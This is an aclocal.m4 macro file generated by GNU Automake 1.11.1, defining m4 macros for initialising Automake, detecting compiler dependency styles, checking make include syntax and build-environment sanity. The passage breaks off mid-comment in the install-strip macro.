AM_AUTOMAKE_VERSION(VERSION) # ---------------------------- # Automake X.Y traces this macro to ensure aclocal.m4 has been # generated from the m4 files accompanying Automake X.Y. # (This private macro should not be called outside this file.) AC_DEFUN([AM_AUTOMAKE_VERSION], [am__api_version='1.11' dnl Some users find AM_AUTOMAKE_VERSION and mistake it for a way to dnl require some minimum version. Point them to the right macro. m4_if([$1], [1.11.1], [], [AC_FATAL([Do not call $0, use AM_INIT_AUTOMAKE([$1]).])])dnl ]) # _AM_AUTOCONF_VERSION(VERSION) # ----------------------------- # aclocal traces this macro to find the Autoconf version. # This is a private macro too. Using m4_define simplifies # the logic in aclocal, which can simply ignore this definition. m4_define([_AM_AUTOCONF_VERSION], []) # AM_SET_CURRENT_AUTOMAKE_VERSION # ------------------------------- # Call AM_AUTOMAKE_VERSION and AM_AUTOMAKE_VERSION so they can be traced. # This function is AC_REQUIREd by AM_INIT_AUTOMAKE. AC_DEFUN([AM_SET_CURRENT_AUTOMAKE_VERSION], [AM_AUTOMAKE_VERSION([1.11.1])dnl m4_ifndef([AC_AUTOCONF_VERSION], [m4_copy([m4_PACKAGE_VERSION], [AC_AUTOCONF_VERSION])])dnl _AM_AUTOCONF_VERSION(m4_defn([AC_AUTOCONF_VERSION]))]) # Figure out how to run the assembler. -*- Autoconf -*- # Copyright (C) 2001, 2003, 2004, 2005, 2006 Free Software Foundation, Inc. # # This file is free software; the Free Software Foundation # gives unlimited permission to copy and/or distribute it, # with or without modifications, as long as this notice is preserved. # serial 5 # AM_PROG_AS # ---------- AC_DEFUN([AM_PROG_AS], [# By default we simply use the C compiler to build assembly code. AC_REQUIRE([AC_PROG_CC]) test "${CCAS+set}" = set || CCAS=$CC test "${CCASFLAGS+set}" = set || CCASFLAGS=$CFLAGS AC_ARG_VAR([CCAS], [assembler compiler command (defaults to CC)]) AC_ARG_VAR([CCASFLAGS], [assembler compiler flags (defaults to CFLAGS)]) _AM_IF_OPTION([no-dependencies],, [_AM_DEPENDENCIES([CCAS])])dnl ]) # AM_AUX_DIR_EXPAND -*- Autoconf -*- # Copyright (C) 2001, 2003, 2005 Free Software Foundation, Inc. # # This file is free software; the Free Software Foundation # gives unlimited permission to copy and/or distribute it, # with or without modifications, as long as this notice is preserved. # For projects using AC_CONFIG_AUX_DIR([foo]), Autoconf sets # $ac_aux_dir to `$srcdir/foo'. In other projects, it is set to # `$srcdir', `$srcdir/..', or `$srcdir/../..'. # # Of course, Automake must honor this variable whenever it calls a # tool from the auxiliary directory. The problem is that $srcdir (and # therefore $ac_aux_dir as well) can be either absolute or relative, # depending on how configure is run. This is pretty annoying, since # it makes $ac_aux_dir quite unusable in subdirectories: in the top # source directory, any form will work fine, but in subdirectories a # relative path needs to be adjusted first. # # $ac_aux_dir/missing # fails when called from a subdirectory if $ac_aux_dir is relative # $top_srcdir/$ac_aux_dir/missing # fails if $ac_aux_dir is absolute, # fails when called from a subdirectory in a VPATH build with # a relative $ac_aux_dir # # The reason of the latter failure is that $top_srcdir and $ac_aux_dir # are both prefixed by $srcdir. In an in-source build this is usually # harmless because $srcdir is `.', but things will broke when you # start a VPATH build or use an absolute $srcdir. # # So we could use something similar to $top_srcdir/$ac_aux_dir/missing, # iff we strip the leading $srcdir from $ac_aux_dir. That would be: # am_aux_dir='\$(top_srcdir)/'`expr "$ac_aux_dir" : "$srcdir//*\(.*\)"` # and then we would define $MISSING as # MISSING="\${SHELL} $am_aux_dir/missing" # This will work as long as MISSING is not called from configure, because # unfortunately $(top_srcdir) has no meaning in configure. # However there are other variables, like CC, which are often used in # configure, and could therefore not use this "fixed" $ac_aux_dir. # # Another solution, used here, is to always expand $ac_aux_dir to an # absolute PATH. The drawback is that using absolute paths prevent a # configured tree to be moved without reconfiguration. AC_DEFUN([AM_AUX_DIR_EXPAND], [dnl Rely on autoconf to set up CDPATH properly. AC_PREREQ([2.50])dnl # expand $ac_aux_dir to an absolute path am_aux_dir=`cd $ac_aux_dir && pwd` ]) # AM_CONDITIONAL -*- Autoconf -*- # Copyright (C) 1997, 2000, 2001, 2003, 2004, 2005, 2006, 2008 # Free Software Foundation, Inc. # # This file is free software; the Free Software Foundation # gives unlimited permission to copy and/or distribute it, # with or without modifications, as long as this notice is preserved. # serial 9 # AM_CONDITIONAL(NAME, SHELL-CONDITION) # ------------------------------------- # Define a conditional. AC_DEFUN([AM_CONDITIONAL], [AC_PREREQ(2.52)dnl ifelse([$1], [TRUE], [AC_FATAL([$0: invalid condition: $1])], [$1], [FALSE], [AC_FATAL([$0: invalid condition: $1])])dnl AC_SUBST([$1_TRUE])dnl AC_SUBST([$1_FALSE])dnl _AM_SUBST_NOTMAKE([$1_TRUE])dnl _AM_SUBST_NOTMAKE([$1_FALSE])dnl m4_define([_AM_COND_VALUE_$1], [$2])dnl if $2; then $1_TRUE= $1_FALSE='#' else $1_TRUE='#' $1_FALSE= fi AC_CONFIG_COMMANDS_PRE( [if test -z "${$1_TRUE}" && test -z "${$1_FALSE}"; then AC_MSG_ERROR([[conditional "$1" was never defined. Usually this means the macro was only invoked conditionally.]]) fi])]) # Copyright (C) 1999, 2000, 2001, 2002, 2003, 2004, 2005, 2006, 2009 # Free Software Foundation, Inc. # # This file is free software; the Free Software Foundation # gives unlimited permission to copy and/or distribute it, # with or without modifications, as long as this notice is preserved. # serial 10 # There are a few dirty hacks below to avoid letting `AC_PROG_CC' be # written in clear, in which case automake, when reading aclocal.m4, # will think it sees a *use*, and therefore will trigger all it's # C support machinery. Also note that it means that autoscan, seeing # CC etc. in the Makefile, will ask for an AC_PROG_CC use... # _AM_DEPENDENCIES(NAME) # ---------------------- # See how the compiler implements dependency checking. # NAME is "CC", "CXX", "GCJ", or "OBJC". # We try a few techniques and use that to set a single cache variable. # # We don't AC_REQUIRE the corresponding AC_PROG_CC since the latter was # modified to invoke _AM_DEPENDENCIES(CC); we would have a circular # dependency, and given that the user is not expected to run this macro, # just rely on AC_PROG_CC. AC_DEFUN([_AM_DEPENDENCIES], [AC_REQUIRE([AM_SET_DEPDIR])dnl AC_REQUIRE([AM_OUTPUT_DEPENDENCY_COMMANDS])dnl AC_REQUIRE([AM_MAKE_INCLUDE])dnl AC_REQUIRE([AM_DEP_TRACK])dnl ifelse([$1], CC, [depcc="$CC" am_compiler_list=], [$1], CXX, [depcc="$CXX" am_compiler_list=], [$1], OBJC, [depcc="$OBJC" am_compiler_list='gcc3 gcc'], [$1], UPC, [depcc="$UPC" am_compiler_list=], [$1], GCJ, [depcc="$GCJ" am_compiler_list='gcc3 gcc'], [depcc="$$1" am_compiler_list=]) AC_CACHE_CHECK([dependency style of $depcc], [am_cv_$1_dependencies_compiler_type], [if test -z "$AMDEP_TRUE" && test -f "$am_depcomp"; then # We make a subdir and do the tests there. Otherwise we can end up # making bogus files that we don't know about and never remove. For # instance it was reported that on HP-UX the gcc test will end up # making a dummy file named `D' -- because `-MD' means `put the output # in D'. mkdir conftest.dir # Copy depcomp to subdir because otherwise we won't find it if we're # using a relative directory. cp "$am_depcomp" conftest.dir cd conftest.dir # We will build objects and dependencies in a subdirectory because # it helps to detect inapplicable dependency modes. For instance # both Tru64's cc and ICC support -MD to output dependencies as a # side effect of compilation, but ICC will put the dependencies in # the current directory while Tru64 will put them in the object # directory. mkdir sub am_cv_$1_dependencies_compiler_type=none if test "$am_compiler_list" = ""; then am_compiler_list=`sed -n ['s/^#*\([a-zA-Z0-9]*\))$/\1/p'] < ./depcomp` fi am__universal=false m4_case([$1], [CC], [case " $depcc " in #( *\ -arch\ *\ -arch\ *) am__universal=true ;; esac], [CXX], [case " $depcc " in #( *\ -arch\ *\ -arch\ *) am__universal=true ;; esac]) for depmode in $am_compiler_list; do # Setup a source with many dependencies, because some compilers # like to wrap large dependency lists on column 80 (with \), and # we should not choose a depcomp mode which is confused by this. # # We need to recreate these files for each test, as the compiler may # overwrite some of them when testing with obscure command lines. # This happens at least with the AIX C compiler. : > sub/conftest.c for i in 1 2 3 4 5 6; do echo '#include "conftst'$i'.h"' >> sub/conftest.c # Using `: > sub/conftst$i.h' creates only sub/conftst1.h with # Solaris 8's {/usr,}/bin/sh. touch sub/conftst$i.h done echo "${am__include} ${am__quote}sub/conftest.Po${am__quote}" > confmf # We check with `-c' and `-o' for the sake of the "dashmstdout" # mode. It turns out that the SunPro C++ compiler does not properly # handle `-M -o', and we need to detect this. Also, some Intel # versions had trouble with output in subdirs am__obj=sub/conftest.${OBJEXT-o} am__minus_obj="-o $am__obj" case $depmode in gcc) # This depmode causes a compiler race in universal mode. test "$am__universal" = false || continue ;; nosideeffect) # after this tag, mechanisms are not by side-effect, so they'll # only be used when explicitly requested if test "x$enable_dependency_tracking" = xyes; then continue else break fi ;; msvisualcpp | msvcmsys) # This compiler won't grok `-c -o', but also, the minuso test has # not run yet. These depmodes are late enough in the game, and # so weak that their functioning should not be impacted. am__obj=conftest.${OBJEXT-o} am__minus_obj= ;; none) break ;; esac if depmode=$depmode \ source=sub/conftest.c object=$am__obj \ depfile=sub/conftest.Po tmpdepfile=sub/conftest.TPo \ $SHELL ./depcomp $depcc -c $am__minus_obj sub/conftest.c \ >/dev/null 2>conftest.err && grep sub/conftst1.h sub/conftest.Po > /dev/null 2>&1 && grep sub/conftst6.h sub/conftest.Po > /dev/null 2>&1 && grep $am__obj sub/conftest.Po > /dev/null 2>&1 && ${MAKE-make} -s -f confmf > /dev/null 2>&1; then # icc doesn't choke on unknown options, it will just issue warnings # or remarks (even with -Werror). So we grep stderr for any message # that says an option was ignored or not supported. # When given -MP, icc 7.0 and 7.1 complain thusly: # icc: Command line warning: ignoring option '-M'; no argument required # The diagnosis changed in icc 8.0: # icc: Command line remark: option '-MP' not supported if (grep 'ignoring option' conftest.err || grep 'not supported' conftest.err) >/dev/null 2>&1; then :; else am_cv_$1_dependencies_compiler_type=$depmode break fi fi done cd .. rm -rf conftest.dir else am_cv_$1_dependencies_compiler_type=none fi ]) AC_SUBST([$1DEPMODE], [depmode=$am_cv_$1_dependencies_compiler_type]) AM_CONDITIONAL([am__fastdep$1], [ test "x$enable_dependency_tracking" != xno \ && test "$am_cv_$1_dependencies_compiler_type" = gcc3]) ]) # AM_SET_DEPDIR # ------------- # Choose a directory name for dependency files. # This macro is AC_REQUIREd in _AM_DEPENDENCIES AC_DEFUN([AM_SET_DEPDIR], [AC_REQUIRE([AM_SET_LEADING_DOT])dnl AC_SUBST([DEPDIR], ["${am__leading_dot}deps"])dnl ]) # AM_DEP_TRACK # ------------ AC_DEFUN([AM_DEP_TRACK], [AC_ARG_ENABLE(dependency-tracking, [ --disable-dependency-tracking speeds up one-time build --enable-dependency-tracking do not reject slow dependency extractors]) if test "x$enable_dependency_tracking" != xno; then am_depcomp="$ac_aux_dir/depcomp" AMDEPBACKSLASH='\' fi AM_CONDITIONAL([AMDEP], [test "x$enable_dependency_tracking" != xno]) AC_SUBST([AMDEPBACKSLASH])dnl _AM_SUBST_NOTMAKE([AMDEPBACKSLASH])dnl ]) # Generate code to set up dependency tracking. -*- Autoconf -*- # Copyright (C) 1999, 2000, 2001, 2002, 2003, 2004, 2005, 2008 # Free Software Foundation, Inc. # # This file is free software; the Free Software Foundation # gives unlimited permission to copy and/or distribute it, # with or without modifications, as long as this notice is preserved. #serial 5 # _AM_OUTPUT_DEPENDENCY_COMMANDS # ------------------------------ AC_DEFUN([_AM_OUTPUT_DEPENDENCY_COMMANDS], [{ # Autoconf 2.62 quotes --file arguments for eval, but not when files # are listed without --file. Let's play safe and only enable the eval # if we detect the quoting. case $CONFIG_FILES in *\'*) eval set x "$CONFIG_FILES" ;; *) set x $CONFIG_FILES ;; esac shift for mf do # Strip MF so we end up with the name of the file. mf=`echo "$mf" | sed -e 's/:.*$//'` # Check whether this is an Automake generated Makefile or not. # We used to match only the files named `Makefile.in', but # some people rename them; so instead we look at the file content. # Grep'ing the first line is not enough: some people post-process # each Makefile.in and add a new line on top of each file to say so. # Grep'ing the whole file is not good either: AIX grep has a line # limit of 2048, but all sed's we know have understand at least 4000. if sed -n 's,^#.*generated by automake.*,X,p' "$mf" | grep X >/dev/null 2>&1; then dirpart=`AS_DIRNAME("$mf")` else continue fi # Extract the definition of DEPDIR, am__include, and am__quote # from the Makefile without running `make'. DEPDIR=`sed -n 's/^DEPDIR = //p' < "$mf"` test -z "$DEPDIR" && continue am__include=`sed -n 's/^am__include = //p' < "$mf"` test -z "am__include" && continue am__quote=`sed -n 's/^am__quote = //p' < "$mf"` # When using ansi2knr, U may be empty or an underscore; expand it U=`sed -n 's/^U = //p' < "$mf"` # Find all dependency output files, they are included files with # $(DEPDIR) in their names. We invoke sed twice because it is the # simplest approach to changing $(DEPDIR) to its actual value in the # expansion. for file in `sed -n " s/^$am__include $am__quote\(.*(DEPDIR).*\)$am__quote"'$/\1/p' <"$mf" | \ sed -e 's/\$(DEPDIR)/'"$DEPDIR"'/g' -e 's/\$U/'"$U"'/g'`; do # Make sure the directory exists. test -f "$dirpart/$file" && continue fdir=`AS_DIRNAME(["$file"])` AS_MKDIR_P([$dirpart/$fdir]) # echo "creating $dirpart/$file" echo '# dummy' > "$dirpart/$file" done done } ])# _AM_OUTPUT_DEPENDENCY_COMMANDS # AM_OUTPUT_DEPENDENCY_COMMANDS # ----------------------------- # This macro should only be invoked once -- use via AC_REQUIRE. # # This code is only required when automatic dependency tracking # is enabled. FIXME. This creates each `.P' file that we will # need in order to bootstrap the dependency handling code. AC_DEFUN([AM_OUTPUT_DEPENDENCY_COMMANDS], [AC_CONFIG_COMMANDS([depfiles], [test x"$AMDEP_TRUE" != x"" || _AM_OUTPUT_DEPENDENCY_COMMANDS], [AMDEP_TRUE="$AMDEP_TRUE" ac_aux_dir="$ac_aux_dir"]) ]) # Do all the work for Automake. -*- Autoconf -*- # Copyright (C) 1996, 1997, 1998, 1999, 2000, 2001, 2002, 2003, 2004, # 2005, 2006, 2008, 2009 Free Software Foundation, Inc. # # This file is free software; the Free Software Foundation # gives unlimited permission to copy and/or distribute it, # with or without modifications, as long as this notice is preserved. # serial 16 # This macro actually does too much. Some checks are only needed if # your package does certain things. But this isn't really a big deal. # AM_INIT_AUTOMAKE(PACKAGE, VERSION, [NO-DEFINE]) # AM_INIT_AUTOMAKE([OPTIONS]) # ----------------------------------------------- # The call with PACKAGE and VERSION arguments is the old style # call (pre autoconf-2.50), which is being phased out. PACKAGE # and VERSION should now be passed to AC_INIT and removed from # the call to AM_INIT_AUTOMAKE. # We support both call styles for the transition. After # the next Automake release, Autoconf can make the AC_INIT # arguments mandatory, and then we can depend on a new Autoconf # release and drop the old call support. AC_DEFUN([AM_INIT_AUTOMAKE], [AC_PREREQ([2.62])dnl dnl Autoconf wants to disallow AM_ names. We explicitly allow dnl the ones we care about. m4_pattern_allow([^AM_[A-Z]+FLAGS$])dnl AC_REQUIRE([AM_SET_CURRENT_AUTOMAKE_VERSION])dnl AC_REQUIRE([AC_PROG_INSTALL])dnl if test "`cd $srcdir && pwd`" != "`pwd`"; then # Use -I$(srcdir) only when $(srcdir) != ., so that make's output # is not polluted with repeated "-I." AC_SUBST([am__isrc], [' -I$(srcdir)'])_AM_SUBST_NOTMAKE([am__isrc])dnl # test to see if srcdir already configured if test -f $srcdir/config.status; then AC_MSG_ERROR([source directory already configured; run "make distclean" there first]) fi fi # test whether we have cygpath if test -z "$CYGPATH_W"; then if (cygpath --version) >/dev/null 2>/dev/null; then CYGPATH_W='cygpath -w' else CYGPATH_W=echo fi fi AC_SUBST([CYGPATH_W]) # Define the identity of the package. dnl Distinguish between old-style and new-style calls. m4_ifval([$2], [m4_ifval([$3], [_AM_SET_OPTION([no-define])])dnl AC_SUBST([PACKAGE], [$1])dnl AC_SUBST([VERSION], [$2])], [_AM_SET_OPTIONS([$1])dnl dnl Diagnose old-style AC_INIT with new-style AM_AUTOMAKE_INIT. m4_if(m4_ifdef([AC_PACKAGE_NAME], 1)m4_ifdef([AC_PACKAGE_VERSION], 1), 11,, [m4_fatal([AC_INIT should be called with package and version arguments])])dnl AC_SUBST([PACKAGE], ['AC_PACKAGE_TARNAME'])dnl AC_SUBST([VERSION], ['AC_PACKAGE_VERSION'])])dnl _AM_IF_OPTION([no-define],, [AC_DEFINE_UNQUOTED(PACKAGE, "$PACKAGE", [Name of package]) AC_DEFINE_UNQUOTED(VERSION, "$VERSION", [Version number of package])])dnl # Some tools Automake needs. AC_REQUIRE([AM_SANITY_CHECK])dnl AC_REQUIRE([AC_ARG_PROGRAM])dnl AM_MISSING_PROG(ACLOCAL, aclocal-${am__api_version}) AM_MISSING_PROG(AUTOCONF, autoconf) AM_MISSING_PROG(AUTOMAKE, automake-${am__api_version}) AM_MISSING_PROG(AUTOHEADER, autoheader) AM_MISSING_PROG(MAKEINFO, makeinfo) AC_REQUIRE([AM_PROG_INSTALL_SH])dnl AC_REQUIRE([AM_PROG_INSTALL_STRIP])dnl AC_REQUIRE([AM_PROG_MKDIR_P])dnl # We need awk for the "check" target. The system "awk" is bad on # some platforms. AC_REQUIRE([AC_PROG_AWK])dnl AC_REQUIRE([AC_PROG_MAKE_SET])dnl AC_REQUIRE([AM_SET_LEADING_DOT])dnl _AM_IF_OPTION([tar-ustar], [_AM_PROG_TAR([ustar])], [_AM_IF_OPTION([tar-pax], [_AM_PROG_TAR([pax])], [_AM_PROG_TAR([v7])])]) _AM_IF_OPTION([no-dependencies],, [AC_PROVIDE_IFELSE([AC_PROG_CC], [_AM_DEPENDENCIES(CC)], [define([AC_PROG_CC], defn([AC_PROG_CC])[_AM_DEPENDENCIES(CC)])])dnl AC_PROVIDE_IFELSE([AC_PROG_CXX], [_AM_DEPENDENCIES(CXX)], [define([AC_PROG_CXX], defn([AC_PROG_CXX])[_AM_DEPENDENCIES(CXX)])])dnl AC_PROVIDE_IFELSE([AC_PROG_OBJC], [_AM_DEPENDENCIES(OBJC)], [define([AC_PROG_OBJC], defn([AC_PROG_OBJC])[_AM_DEPENDENCIES(OBJC)])])dnl ]) _AM_IF_OPTION([silent-rules], [AC_REQUIRE([AM_SILENT_RULES])])dnl dnl The `parallel-tests' driver may need to know about EXEEXT, so add the dnl `am__EXEEXT' conditional if _AM_COMPILER_EXEEXT was seen. This macro dnl is hooked onto _AC_COMPILER_EXEEXT early, see below. AC_CONFIG_COMMANDS_PRE(dnl [m4_provide_if([_AM_COMPILER_EXEEXT], [AM_CONDITIONAL([am__EXEEXT], [test -n "$EXEEXT"])])])dnl ]) dnl Hook into `_AC_COMPILER_EXEEXT' early to learn its expansion. Do not dnl add the conditional right here, as _AC_COMPILER_EXEEXT may be further dnl mangled by Autoconf and run in a shell conditional statement. m4_define([_AC_COMPILER_EXEEXT], m4_defn([_AC_COMPILER_EXEEXT])[m4_provide([_AM_COMPILER_EXEEXT])]) # When config.status generates a header, we must update the stamp-h file. # This file resides in the same directory as the config header # that is generated. The stamp files are numbered to have different names. # Autoconf calls _AC_AM_CONFIG_HEADER_HOOK (when defined) in the # loop where config.status creates the headers, so we can generate # our stamp files there. AC_DEFUN([_AC_AM_CONFIG_HEADER_HOOK], [# Compute $1's index in $config_headers. _am_arg=$1 _am_stamp_count=1 for _am_header in $config_headers :; do case $_am_header in $_am_arg | $_am_arg:* ) break ;; * ) _am_stamp_count=`expr $_am_stamp_count + 1` ;; esac done echo "timestamp for $_am_arg" >`AS_DIRNAME(["$_am_arg"])`/stamp-h[]$_am_stamp_count]) # Copyright (C) 2001, 2003, 2005, 2008 Free Software Foundation, Inc. # # This file is free software; the Free Software Foundation # gives unlimited permission to copy and/or distribute it, # with or without modifications, as long as this notice is preserved. # AM_PROG_INSTALL_SH # ------------------ # Define $install_sh. AC_DEFUN([AM_PROG_INSTALL_SH], [AC_REQUIRE([AM_AUX_DIR_EXPAND])dnl if test x"${install_sh}" != xset; then case $am_aux_dir in *\ * | *\ *) install_sh="\${SHELL} '$am_aux_dir/install-sh'" ;; *) install_sh="\${SHELL} $am_aux_dir/install-sh" esac fi AC_SUBST(install_sh)]) # Copyright (C) 2003, 2005 Free Software Foundation, Inc. # # This file is free software; the Free Software Foundation # gives unlimited permission to copy and/or distribute it, # with or without modifications, as long as this notice is preserved. # serial 2 # Check whether the underlying file-system supports filenames # with a leading dot. For instance MS-DOS doesn't. AC_DEFUN([AM_SET_LEADING_DOT], [rm -rf .tst 2>/dev/null mkdir .tst 2>/dev/null if test -d .tst; then am__leading_dot=. else am__leading_dot=_ fi rmdir .tst 2>/dev/null AC_SUBST([am__leading_dot])]) # Add --enable-maintainer-mode option to configure. -*- Autoconf -*- # From Jim Meyering # Copyright (C) 1996, 1998, 2000, 2001, 2002, 2003, 2004, 2005, 2008 # Free Software Foundation, Inc. # # This file is free software; the Free Software Foundation # gives unlimited permission to copy and/or distribute it, # with or without modifications, as long as this notice is preserved. # serial 5 # AM_MAINTAINER_MODE([DEFAULT-MODE]) # ---------------------------------- # Control maintainer-specific portions of Makefiles. # Default is to disable them, unless `enable' is passed literally. # For symmetry, `disable' may be passed as well. Anyway, the user # can override the default with the --enable/--disable switch. AC_DEFUN([AM_MAINTAINER_MODE], [m4_case(m4_default([$1], [disable]), [enable], [m4_define([am_maintainer_other], [disable])], [disable], [m4_define([am_maintainer_other], [enable])], [m4_define([am_maintainer_other], [enable]) m4_warn([syntax], [unexpected argument to AM@&t@_MAINTAINER_MODE: $1])]) AC_MSG_CHECKING([whether to am_maintainer_other maintainer-specific portions of Makefiles]) dnl maintainer-mode's default is 'disable' unless 'enable' is passed AC_ARG_ENABLE([maintainer-mode], [ --][am_maintainer_other][-maintainer-mode am_maintainer_other make rules and dependencies not useful (and sometimes confusing) to the casual installer], [USE_MAINTAINER_MODE=$enableval], [USE_MAINTAINER_MODE=]m4_if(am_maintainer_other, [enable], [no], [yes])) AC_MSG_RESULT([$USE_MAINTAINER_MODE]) AM_CONDITIONAL([MAINTAINER_MODE], [test $USE_MAINTAINER_MODE = yes]) MAINT=$MAINTAINER_MODE_TRUE AC_SUBST([MAINT])dnl ] ) AU_DEFUN([jm_MAINTAINER_MODE], [AM_MAINTAINER_MODE]) # Check to see how 'make' treats includes. -*- Autoconf -*- # Copyright (C) 2001, 2002, 2003, 2005, 2009 Free Software Foundation, Inc. # # This file is free software; the Free Software Foundation # gives unlimited permission to copy and/or distribute it, # with or without modifications, as long as this notice is preserved. # serial 4 # AM_MAKE_INCLUDE() # ----------------- # Check to see how make treats includes. AC_DEFUN([AM_MAKE_INCLUDE], [am_make=${MAKE-make} cat > confinc << 'END' am__doit: @echo this is the am__doit target .PHONY: am__doit END # If we don't find an include directive, just comment out the code. AC_MSG_CHECKING([for style of include used by $am_make]) am__include="#" am__quote= _am_result=none # First try GNU make style include. echo "include confinc" > confmf # Ignore all kinds of additional output from `make'. case `$am_make -s -f confmf 2> /dev/null` in #( *the\ am__doit\ target*) am__include=include am__quote= _am_result=GNU ;; esac # Now try BSD make style include. if test "$am__include" = "#"; then echo '.include "confinc"' > confmf case `$am_make -s -f confmf 2> /dev/null` in #( *the\ am__doit\ target*) am__include=.include am__quote="\"" _am_result=BSD ;; esac fi AC_SUBST([am__include]) AC_SUBST([am__quote]) AC_MSG_RESULT([$_am_result]) rm -f confinc confmf ]) # Copyright (C) 1999, 2000, 2001, 2003, 2004, 2005, 2008 # Free Software Foundation, Inc. # # This file is free software; the Free Software Foundation # gives unlimited permission to copy and/or distribute it, # with or without modifications, as long as this notice is preserved. # serial 6 # AM_PROG_CC_C_O # -------------- # Like AC_PROG_CC_C_O, but changed for automake. AC_DEFUN([AM_PROG_CC_C_O], [AC_REQUIRE([AC_PROG_CC_C_O])dnl AC_REQUIRE([AM_AUX_DIR_EXPAND])dnl AC_REQUIRE_AUX_FILE([compile])dnl # FIXME: we rely on the cache variable name because # there is no other way. set dummy $CC am_cc=`echo $[2] | sed ['s/[^a-zA-Z0-9_]/_/g;s/^[0-9]/_/']` eval am_t=\$ac_cv_prog_cc_${am_cc}_c_o if test "$am_t" != yes; then # Losing compiler, so override with the script. # FIXME: It is wrong to rewrite CC. # But if we don't then we get into trouble of one sort or another. # A longer-term fix would be to have automake use am__CC in this case, # and then we could set am__CC="\$(top_srcdir)/compile \$(CC)" CC="$am_aux_dir/compile $CC" fi dnl Make sure AC_PROG_CC is never called again, or it will override our dnl setting of CC. m4_define([AC_PROG_CC], [m4_fatal([AC_PROG_CC cannot be called after AM_PROG_CC_C_O])]) ]) # Fake the existence of programs that GNU maintainers use. -*- Autoconf -*- # Copyright (C) 1997, 1999, 2000, 2001, 2003, 2004, 2005, 2008 # Free Software Foundation, Inc. # # This file is free software; the Free Software Foundation # gives unlimited permission to copy and/or distribute it, # with or without modifications, as long as this notice is preserved. # serial 6 # AM_MISSING_PROG(NAME, PROGRAM) # ------------------------------ AC_DEFUN([AM_MISSING_PROG], [AC_REQUIRE([AM_MISSING_HAS_RUN]) $1=${$1-"${am_missing_run}$2"} AC_SUBST($1)]) # AM_MISSING_HAS_RUN # ------------------ # Define MISSING if not defined so far and test if it supports --run. # If it does, set am_missing_run to use it, otherwise, to nothing. AC_DEFUN([AM_MISSING_HAS_RUN], [AC_REQUIRE([AM_AUX_DIR_EXPAND])dnl AC_REQUIRE_AUX_FILE([missing])dnl if test x"${MISSING+set}" != xset; then case $am_aux_dir in *\ * | *\ *) MISSING="\${SHELL} \"$am_aux_dir/missing\"" ;; *) MISSING="\${SHELL} $am_aux_dir/missing" ;; esac fi # Use eval to expand $SHELL if eval "$MISSING --run true"; then am_missing_run="$MISSING --run " else am_missing_run= AC_MSG_WARN([`missing' script is too old or missing]) fi ]) # Copyright (C) 2003, 2004, 2005, 2006 Free Software Foundation, Inc. # # This file is free software; the Free Software Foundation # gives unlimited permission to copy and/or distribute it, # with or without modifications, as long as this notice is preserved. # AM_PROG_MKDIR_P # --------------- # Check for `mkdir -p'. AC_DEFUN([AM_PROG_MKDIR_P], [AC_PREREQ([2.60])dnl AC_REQUIRE([AC_PROG_MKDIR_P])dnl dnl Automake 1.8 to 1.9.6 used to define mkdir_p. We now use MKDIR_P, dnl while keeping a definition of mkdir_p for backward compatibility. dnl @MKDIR_P@ is magic: AC_OUTPUT adjusts its value for each Makefile. dnl However we cannot define mkdir_p as $(MKDIR_P) for the sake of dnl Makefile.ins that do not define MKDIR_P, so we do our own dnl adjustment using top_builddir (which is defined more often than dnl MKDIR_P). AC_SUBST([mkdir_p], ["$MKDIR_P"])dnl case $mkdir_p in [[\\/$]]* | ?:[[\\/]]*) ;; */*) mkdir_p="\$(top_builddir)/$mkdir_p" ;; esac ]) # Helper functions for option handling. -*- Autoconf -*- # Copyright (C) 2001, 2002, 2003, 2005, 2008 Free Software Foundation, Inc. # # This file is free software; the Free Software Foundation # gives unlimited permission to copy and/or distribute it, # with or without modifications, as long as this notice is preserved. # serial 4 # _AM_MANGLE_OPTION(NAME) # ----------------------- AC_DEFUN([_AM_MANGLE_OPTION], [[_AM_OPTION_]m4_bpatsubst($1, [[^a-zA-Z0-9_]], [_])]) # _AM_SET_OPTION(NAME) # ------------------------------ # Set option NAME. Presently that only means defining a flag for this option. AC_DEFUN([_AM_SET_OPTION], [m4_define(_AM_MANGLE_OPTION([$1]), 1)]) # _AM_SET_OPTIONS(OPTIONS) # ---------------------------------- # OPTIONS is a space-separated list of Automake options. AC_DEFUN([_AM_SET_OPTIONS], [m4_foreach_w([_AM_Option], [$1], [_AM_SET_OPTION(_AM_Option)])]) # _AM_IF_OPTION(OPTION, IF-SET, [IF-NOT-SET]) # ------------------------------------------- # Execute IF-SET if OPTION is set, IF-NOT-SET otherwise. AC_DEFUN([_AM_IF_OPTION], [m4_ifset(_AM_MANGLE_OPTION([$1]), [$2], [$3])]) # Check to make sure that the build environment is sane. -*- Autoconf -*- # Copyright (C) 1996, 1997, 2000, 2001, 2003, 2005, 2008 # Free Software Foundation, Inc. # # This file is free software; the Free Software Foundation # gives unlimited permission to copy and/or distribute it, # with or without modifications, as long as this notice is preserved. # serial 5 # AM_SANITY_CHECK # --------------- AC_DEFUN([AM_SANITY_CHECK], [AC_MSG_CHECKING([whether build environment is sane]) # Just in case sleep 1 echo timestamp > conftest.file # Reject unsafe characters in $srcdir or the absolute working directory # name. Accept space and tab only in the latter. am_lf=' ' case `pwd` in *[[\\\"\#\$\&\'\`$am_lf]]*) AC_MSG_ERROR([unsafe absolute working directory name]);; esac case $srcdir in *[[\\\"\#\$\&\'\`$am_lf\ \ ]]*) AC_MSG_ERROR([unsafe srcdir value: `$srcdir']);; esac # Do `set' in a subshell so we don't clobber the current shell's # arguments. Must try -L first in case configure is actually a # symlink; some systems play weird games with the mod time of symlinks # (eg FreeBSD returns the mod time of the symlink's containing # directory). if ( set X `ls -Lt "$srcdir/configure" conftest.file 2> /dev/null` if test "$[*]" = "X"; then # -L didn't work. set X `ls -t "$srcdir/configure" conftest.file` fi rm -f conftest.file if test "$[*]" != "X $srcdir/configure conftest.file" \ && test "$[*]" != "X conftest.file $srcdir/configure"; then # If neither matched, then we have a broken ls. This can happen # if, for instance, CONFIG_SHELL is bash and it inherits a # broken ls alias from the environment. This has actually # happened. Such a system could not be considered "sane". AC_MSG_ERROR([ls -t appears to fail. Make sure there is not a broken alias in your environment]) fi test "$[2]" = conftest.file ) then # Ok. : else AC_MSG_ERROR([newly created file is older than distributed files! Check your system clock]) fi AC_MSG_RESULT(yes)]) # Copyright (C) 2001, 2003, 2005 Free Software Foundation, Inc. # # This file is free software; the Free Software Foundation # gives unlimited permission to copy and/or distribute it, # with or without modifications, as long as this notice is preserved. # AM_PROG_INSTALL_STRIP # --------------------- # One issue with vendor `install' (even GNU) is that you can't # specify the program used to strip binaries. This is especially # annoying in cross-compiling environments, where the build's strip # is unlikely to handle the host's binaries. # Fortunately install-sh will honor a STRIPPROG variable, so we # always use install-sh 